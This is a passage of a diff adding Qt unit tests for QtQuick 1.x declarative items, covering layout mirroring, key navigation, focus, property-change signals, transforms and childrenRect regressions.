+ QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritedLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritedLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, true);
+
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->isMirrorImplicit, false);
+ QCOMPARE(childPrivate(rootItem, "mirrored2")->isMirrorImplicit, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->isMirrorImplicit, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored2")->isMirrorImplicit, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->isMirrorImplicit, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->isMirrorImplicit, true);
+
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritMirrorFromParent, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritMirrorFromParent, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritMirrorFromParent, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritMirrorFromParent, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritMirrorFromParent, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritMirrorFromParent, true);
+
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritMirrorFromItem, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored2")->inheritMirrorFromItem, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritMirrorFromItem, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored2")->inheritMirrorFromItem, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritMirrorFromItem, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritMirrorFromItem, false);
+
+ // load dynamic content using Loader that needs to inherit mirroring
+ rootItem->setProperty("state", "newContent");
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->effectiveLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->effectiveLayoutMirror, true);
+
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->inheritedLayoutMirror, true);
+
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->isMirrorImplicit, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->isMirrorImplicit, true);
+
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromParent, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror3")->inheritMirrorFromParent, true);
+
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromItem, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored3")->inheritMirrorFromItem, false);
+
+ // disable inheritance
+ rootItem->setProperty("childrenInherit", false);
+
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false);
+
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, false);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, false);
+
+ // re-enable inheritance
+ rootItem->setProperty("childrenInherit", true);
+
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->effectiveLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->effectiveLayoutMirror, false);
+
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror1")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "inheritedMirror2")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "mirrored1")->inheritedLayoutMirror, true);
+ QCOMPARE(childPrivate(rootItem, "notMirrored1")->inheritedLayoutMirror, true);
+
+ //
+ // dynamic parenting
+ //
+ QDeclarativeItem *parentItem1 = new QDeclarativeItem();
+ QDeclarativeItemPrivate::get(parentItem1)->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true
+ QDeclarativeItemPrivate::get(parentItem1)->isMirrorImplicit = false;
+ QDeclarativeItemPrivate::get(parentItem1)->inheritMirrorFromItem = true; // LayoutMirroring.childrenInherit: true
+ QDeclarativeItemPrivate::get(parentItem1)->resolveLayoutMirror();
+
+ // inherit in constructor
+ QDeclarativeItem *childItem1 = new QDeclarativeItem(parentItem1);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem1)->effectiveLayoutMirror, true);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem1)->inheritMirrorFromParent, true);
+
+ // inherit through a parent change
+ QDeclarativeItem *childItem2 = new QDeclarativeItem();
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, false);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, false);
+ childItem2->setParentItem(parentItem1);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, true);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, true);
+
+ // stop inherting through a parent change
+ QDeclarativeItem *parentItem2 = new QDeclarativeItem();
+ QDeclarativeItemPrivate::get(parentItem2)->effectiveLayoutMirror = true; // LayoutMirroring.enabled: true
+ QDeclarativeItemPrivate::get(parentItem2)->resolveLayoutMirror();
+ childItem2->setParentItem(parentItem2);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->effectiveLayoutMirror, false);
+ QCOMPARE(QDeclarativeItemPrivate::get(childItem2)->inheritMirrorFromParent, false);
+
+ delete parentItem1;
+ delete parentItem2;
+}
+
+void tst_QDeclarativeItem::layoutMirroringIllegalParent()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.1; QtObject { LayoutMirroring.enabled: true; LayoutMirroring.childrenInherit: true }", QUrl::fromLocalFile(""));
+ QTest::ignoreMessage(QtWarningMsg, "file::1:21: QML QtObject: LayoutDirection attached property only works with Items");
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+}
+
+void tst_QDeclarativeItem::keyNavigation()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ QVariant result;
+ QVERIFY(QMetaObject::invokeMethod(canvas->rootObject(), "verify",
+ Q_RETURN_ARG(QVariant, result)));
+ QVERIFY(result.toBool());
+
+ // right
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // down
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Down, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item4");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // left
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // up
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Up, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // tab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // backtab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::keyNavigation_RightToLeft()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QDeclarativeItem *rootItem = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(rootItem);
+ QDeclarativeItemPrivate* rootItemPrivate = QDeclarativeItemPrivate::get(rootItem);
+
+ rootItemPrivate->effectiveLayoutMirror = true; // LayoutMirroring.mirror: true
+ rootItemPrivate->isMirrorImplicit = false;
+ rootItemPrivate->inheritMirrorFromItem = true; // LayoutMirroring.inherit: true
+ rootItemPrivate->resolveLayoutMirror();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ QVariant result;
+ QVERIFY(QMetaObject::invokeMethod(canvas->rootObject(), "verify",
+ Q_RETURN_ARG(QVariant, result)));
+ QVERIFY(result.toBool());
+
+ // right
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_Left, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // left
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::keyNavigation_skipNotVisible()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/keynavigationtest.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // Set item 2 to not visible
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item2");
+ QVERIFY(item);
+ item->setVisible(false);
+ QVERIFY(!item->isVisible());
+
+ // right
+ QKeyEvent key(QEvent::KeyPress, Qt::Key_Right, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // tab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // backtab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ //Set item 3 to not visible
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item3");
+ QVERIFY(item);
+ item->setVisible(false);
+ QVERIFY(!item->isVisible());
+
+ // tab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Tab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item4");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ // backtab
+ key = QKeyEvent(QEvent::KeyPress, Qt::Key_Backtab, Qt::NoModifier, "", false, 1);
+ QApplication::sendEvent(canvas, &key);
+ QVERIFY(key.isAccepted());
+
+ item = findItem<QDeclarativeItem>(canvas->rootObject(), "item1");
+ QVERIFY(item);
+ QVERIFY(item->hasActiveFocus());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::smooth()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0; Item { smooth: false; }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QSignalSpy spy(item, SIGNAL(smoothChanged(bool)));
+
+ QVERIFY(item);
+ QVERIFY(!item->smooth());
+
+ item->setSmooth(true);
+ QVERIFY(item->smooth());
+ QCOMPARE(spy.count(),1);
+ QList<QVariant> arguments = spy.first();
+ QVERIFY(arguments.count() == 1);
+ QVERIFY(arguments.at(0).toBool() == true);
+
+ item->setSmooth(true);
+ QCOMPARE(spy.count(),1);
+
+ item->setSmooth(false);
+ QVERIFY(!item->smooth());
+ QCOMPARE(spy.count(),2);
+ item->setSmooth(false);
+ QCOMPARE(spy.count(),2);
+
+ delete item;
+}
+
+void tst_QDeclarativeItem::clip()
+{
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nItem { clip: false\n }", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QSignalSpy spy(item, SIGNAL(clipChanged(bool)));
+
+ QVERIFY(item);
+ QVERIFY(!item->clip());
+
+ item->setClip(true);
+ QVERIFY(item->clip());
+
+ QList<QVariant> arguments = spy.first();
+ QVERIFY(arguments.count() == 1);
+ QVERIFY(arguments.at(0).toBool() == true);
+
+ QCOMPARE(spy.count(),1);
+ item->setClip(true);
+ QCOMPARE(spy.count(),1);
+
+ item->setClip(false);
+ QVERIFY(!item->clip());
+ QCOMPARE(spy.count(),2);
+ item->setClip(false);
+ QCOMPARE(spy.count(),2);
+
+ delete item;
+}
+
+void tst_QDeclarativeItem::mapCoordinates()
+{
+ QFETCH(int, x);
+ QFETCH(int, y);
+
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(300, 300);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml"));
+ canvas->show();
+ qApp->processEvents();
+
+ QDeclarativeItem *root = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(root != 0);
+ QDeclarativeItem *a = findItem<QDeclarativeItem>(canvas->rootObject(), "itemA");
+ QVERIFY(a != 0);
+ QDeclarativeItem *b = findItem<QDeclarativeItem>(canvas->rootObject(), "itemB");
+ QVERIFY(b != 0);
+
+ QVariant result;
+
+ QVERIFY(QMetaObject::invokeMethod(root, "mapAToB",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QCOMPARE(result.value<QPointF>(), qobject_cast<QGraphicsItem*>(a)->mapToItem(b, x, y));
+
+ QVERIFY(QMetaObject::invokeMethod(root, "mapAFromB",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QCOMPARE(result.value<QPointF>(), qobject_cast<QGraphicsItem*>(a)->mapFromItem(b, x, y));
+
+ QVERIFY(QMetaObject::invokeMethod(root, "mapAToNull",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QCOMPARE(result.value<QPointF>(), qobject_cast<QGraphicsItem*>(a)->mapToScene(x, y));
+
+ QVERIFY(QMetaObject::invokeMethod(root, "mapAFromNull",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QCOMPARE(result.value<QPointF>(), qobject_cast<QGraphicsItem*>(a)->mapFromScene(x, y));
+
+ QString warning1 = QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml").toString() + ":7:5: QML Item: mapToItem() given argument \"1122\" which is neither null nor an Item";
+ QString warning2 = QUrl::fromLocalFile(SRCDIR "/data/mapCoordinates.qml").toString() + ":7:5: QML Item: mapFromItem() given argument \"1122\" which is neither null nor an Item";
+
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+ QVERIFY(QMetaObject::invokeMethod(root, "checkMapAToInvalid",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QVERIFY(result.toBool());
+
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning2));
+ QVERIFY(QMetaObject::invokeMethod(root, "checkMapAFromInvalid",
+ Q_RETURN_ARG(QVariant, result), Q_ARG(QVariant, x), Q_ARG(QVariant, y)));
+ QVERIFY(result.toBool());
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::mapCoordinates_data()
+{
+ QTest::addColumn<int>("x");
+ QTest::addColumn<int>("y");
+
+ for (int i=-20; i<=20; i+=10)
+ QTest::newRow(QTest::toString(i)) << i << i;
+}
+
+void tst_QDeclarativeItem::transforms_data()
+{
+ QTest::addColumn<QByteArray>("qml");
+ QTest::addColumn<QMatrix>("matrix");
+ QTest::newRow("translate") << QByteArray("Translate { x: 10; y: 20 }")
+ << QMatrix(1,0,0,1,10,20);
+ QTest::newRow("rotation") << QByteArray("Rotation { angle: 90 }")
+ << QMatrix(0,1,-1,0,0,0);
+ QTest::newRow("scale") << QByteArray("Scale { xScale: 1.5; yScale: -2 }")
+ << QMatrix(1.5,0,0,-2,0,0);
+ QTest::newRow("sequence") << QByteArray("[ Translate { x: 10; y: 20 }, Scale { xScale: 1.5; yScale: -2 } ]")
+ << QMatrix(1,0,0,1,10,20) * QMatrix(1.5,0,0,-2,0,0);
+}
+
+void tst_QDeclarativeItem::transforms()
+{
+ QFETCH(QByteArray, qml);
+ QFETCH(QMatrix, matrix);
+ QDeclarativeComponent component(&engine);
+ component.setData("import QtQuick 1.0\nItem { transform: "+qml+"}", QUrl::fromLocalFile(""));
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(item);
+ QCOMPARE(item->sceneMatrix(), matrix);
+}
+
+void tst_QDeclarativeItem::childrenProperty()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/childrenProperty.qml");
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test4").toBool(), true);
+ QCOMPARE(o->property("test5").toBool(), true);
+ delete o;
+}
+
+void tst_QDeclarativeItem::resourcesProperty()
+{
+ QDeclarativeComponent component(&engine, SRCDIR "/data/resourcesProperty.qml");
+
+ QObject *o = component.create();
+ QVERIFY(o != 0);
+
+ QCOMPARE(o->property("test1").toBool(), true);
+ QCOMPARE(o->property("test2").toBool(), true);
+ QCOMPARE(o->property("test3").toBool(), true);
+ QCOMPARE(o->property("test4").toBool(), true);
+ QCOMPARE(o->property("test5").toBool(), true);
+ delete o;
+}
+
+void tst_QDeclarativeItem::mouseFocus()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ QVERIFY(canvas);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/mouseFocus.qml"));
+ canvas->show();
+ QVERIFY(canvas->rootObject());
+ QApplication::setActiveWindow(canvas);
+ QTest::qWaitForWindowShown(canvas);
+ QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "declarativeItem");
+ QVERIFY(item);
+ QSignalSpy focusSpy(item, SIGNAL(activeFocusChanged(bool)));
+
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(item->scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(focusSpy.count(), 1);
+ QVERIFY(item->hasActiveFocus());
+
+ // make sure focusable graphics widget underneath does not steal focus
+ QTest::mouseClick(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(item->scenePos()));
+ QApplication::processEvents();
+ QCOMPARE(focusSpy.count(), 1);
+ QVERIFY(item->hasActiveFocus());
+
+ item->setFocus(false);
+ QVERIFY(!item->hasActiveFocus());
+ QCOMPARE(focusSpy.count(), 2);
+ item->setFocus(true);
+ QCOMPARE(focusSpy.count(), 3);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::propertyChanges()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/propertychanges.qml"));
+ canvas->show();
+
+ QEvent wa(QEvent::WindowActivate);
+ QApplication::sendEvent(canvas, &wa);
+ QFocusEvent fe(QEvent::FocusIn);
+ QApplication::sendEvent(canvas, &fe);
+
+ QDeclarativeItem *item = findItem<QDeclarativeItem>(canvas->rootObject(), "item");
+ QDeclarativeItem *parentItem = findItem<QDeclarativeItem>(canvas->rootObject(), "parentItem");
+
+ QVERIFY(item);
+ QVERIFY(parentItem);
+
+ QSignalSpy parentSpy(item, SIGNAL(parentChanged(QDeclarativeItem *)));
+ QSignalSpy widthSpy(item, SIGNAL(widthChanged()));
+ QSignalSpy heightSpy(item, SIGNAL(heightChanged()));
+ QSignalSpy baselineOffsetSpy(item, SIGNAL(baselineOffsetChanged(qreal)));
+ QSignalSpy childrenRectSpy(parentItem, SIGNAL(childrenRectChanged(QRectF)));
+ QSignalSpy focusSpy(item, SIGNAL(focusChanged(bool)));
+ QSignalSpy wantsFocusSpy(parentItem, SIGNAL(activeFocusChanged(bool)));
+ QSignalSpy childrenChangedSpy(parentItem, SIGNAL(childrenChanged()));
+ QSignalSpy xSpy(item, SIGNAL(xChanged()));
+ QSignalSpy ySpy(item, SIGNAL(yChanged()));
+
+ item->setParentItem(parentItem);
+ item->setWidth(100.0);
+ item->setHeight(200.0);
+ item->setFocus(true);
+ item->setBaselineOffset(10.0);
+
+ QCOMPARE(item->parentItem(), parentItem);
+ QCOMPARE(parentSpy.count(),1);
+ QList<QVariant> parentArguments = parentSpy.first();
+ QVERIFY(parentArguments.count() == 1);
+ QCOMPARE(item->parentItem(), qvariant_cast<QDeclarativeItem *>(parentArguments.at(0)));
+ QCOMPARE(childrenChangedSpy.count(),1);
+
+ item->setParentItem(parentItem);
+ QCOMPARE(childrenChangedSpy.count(),1);
+
+ QCOMPARE(item->width(), 100.0);
+ QCOMPARE(widthSpy.count(),1);
+
+ QCOMPARE(item->height(), 200.0);
+ QCOMPARE(heightSpy.count(),1);
+
+ QCOMPARE(item->baselineOffset(), 10.0);
+ QCOMPARE(baselineOffsetSpy.count(),1);
+ QList<QVariant> baselineOffsetArguments = baselineOffsetSpy.first();
+ QVERIFY(baselineOffsetArguments.count() == 1);
+ QCOMPARE(item->baselineOffset(), baselineOffsetArguments.at(0).toReal());
+
+ QCOMPARE(parentItem->childrenRect(), QRectF(0.0,0.0,100.0,200.0));
+ QCOMPARE(childrenRectSpy.count(),2);
+ QList<QVariant> childrenRectArguments = childrenRectSpy.at(1);
+ QVERIFY(childrenRectArguments.count() == 1);
+ QCOMPARE(parentItem->childrenRect(), childrenRectArguments.at(0).toRectF());
+
+ QCOMPARE(item->hasActiveFocus(), true);
+ QCOMPARE(focusSpy.count(),1);
+ QList<QVariant> focusArguments = focusSpy.first();
+ QVERIFY(focusArguments.count() == 1);
+ QCOMPARE(focusArguments.at(0).toBool(), true);
+
+ QCOMPARE(parentItem->hasActiveFocus(), false);
+ QCOMPARE(parentItem->hasFocus(), false);
+ QCOMPARE(wantsFocusSpy.count(),0);
+
+ item->setX(10.0);
+ QCOMPARE(item->x(), 10.0);
+ QCOMPARE(xSpy.count(), 1);
+
+ item->setY(10.0);
+ QCOMPARE(item->y(), 10.0);
+ QCOMPARE(ySpy.count(), 1);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::childrenRect()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRect.qml"));
+ canvas->show();
+
+ QGraphicsObject *o = canvas->rootObject();
+ QDeclarativeItem *item = o->findChild<QDeclarativeItem*>("testItem");
+ QCOMPARE(item->width(), qreal(0));
+ QCOMPARE(item->height(), qreal(0));
+
+ o->setProperty("childCount", 1);
+ QCOMPARE(item->width(), qreal(10));
+ QCOMPARE(item->height(), qreal(20));
+
+ o->setProperty("childCount", 5);
+ QCOMPARE(item->width(), qreal(50));
+ QCOMPARE(item->height(), qreal(100));
+
+ o->setProperty("childCount", 0);
+ QCOMPARE(item->width(), qreal(0));
+ QCOMPARE(item->height(), qreal(0));
+
+ delete o;
+}
+
+// QTBUG-11383
+void tst_QDeclarativeItem::childrenRectBug()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug.qml"));
+ canvas->show();
+
+ QGraphicsObject *o = canvas->rootObject();
+ QDeclarativeItem *item = o->findChild<QDeclarativeItem*>("theItem");
+ QCOMPARE(item->width(), qreal(200));
+ QCOMPARE(item->height(), qreal(100));
+ QCOMPARE(item->x(), qreal(100));
+
+ delete canvas;
+}
+
+// QTBUG-11465
+void tst_QDeclarativeItem::childrenRectBug2()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug2.qml"));
+ canvas->show();
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(canvas->rootObject());
+ QVERIFY(rect);
+ QDeclarativeItem *item = rect->findChild<QDeclarativeItem*>("theItem");
+ QCOMPARE(item->width(), qreal(100));
+ QCOMPARE(item->height(), qreal(110));
+ QCOMPARE(item->x(), qreal(130));
+
+ QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect);
+ rectPrivate->setState("row");
+ QCOMPARE(item->width(), qreal(210));
+ QCOMPARE(item->height(), qreal(50));
+ QCOMPARE(item->x(), qreal(75));
+
+ delete canvas;
+}
+
+// QTBUG-12722
+void tst_QDeclarativeItem::childrenRectBug3()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug3.qml"));
+ canvas->show();
+
+ //don't crash on delete
+ delete canvas;
+}
+
+// QTBUG-13893
+void tst_QDeclarativeItem::transformCrash()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/transformCrash.qml"));
+ canvas->show();
+
+ delete canvas;
+}
+
+void tst_QDeclarativeItem::implicitSize()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml"));
+ canvas->show();
+
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(canvas->rootObject());
+ QVERIFY(item);
+ QCOMPARE(item->width(), qreal(80));
+ QCOMPARE(item->height(), qreal(60));
+
+ QCOMPARE(item->implicitWidth(), qreal(200));
+ QCOMPARE(item->implicitHeight(), qreal(100));
+
+ QMetaObject::invokeMethod(item, "resetSize");
+
+ QCOMPARE(item->width(), qreal(200));
+ QCOMPARE(item->height(), qreal(100));
+
+ QMetaObject::invokeMethod(item, "changeImplicit");
+
+ QCOMPARE(item->implicitWidth(), qreal(150));
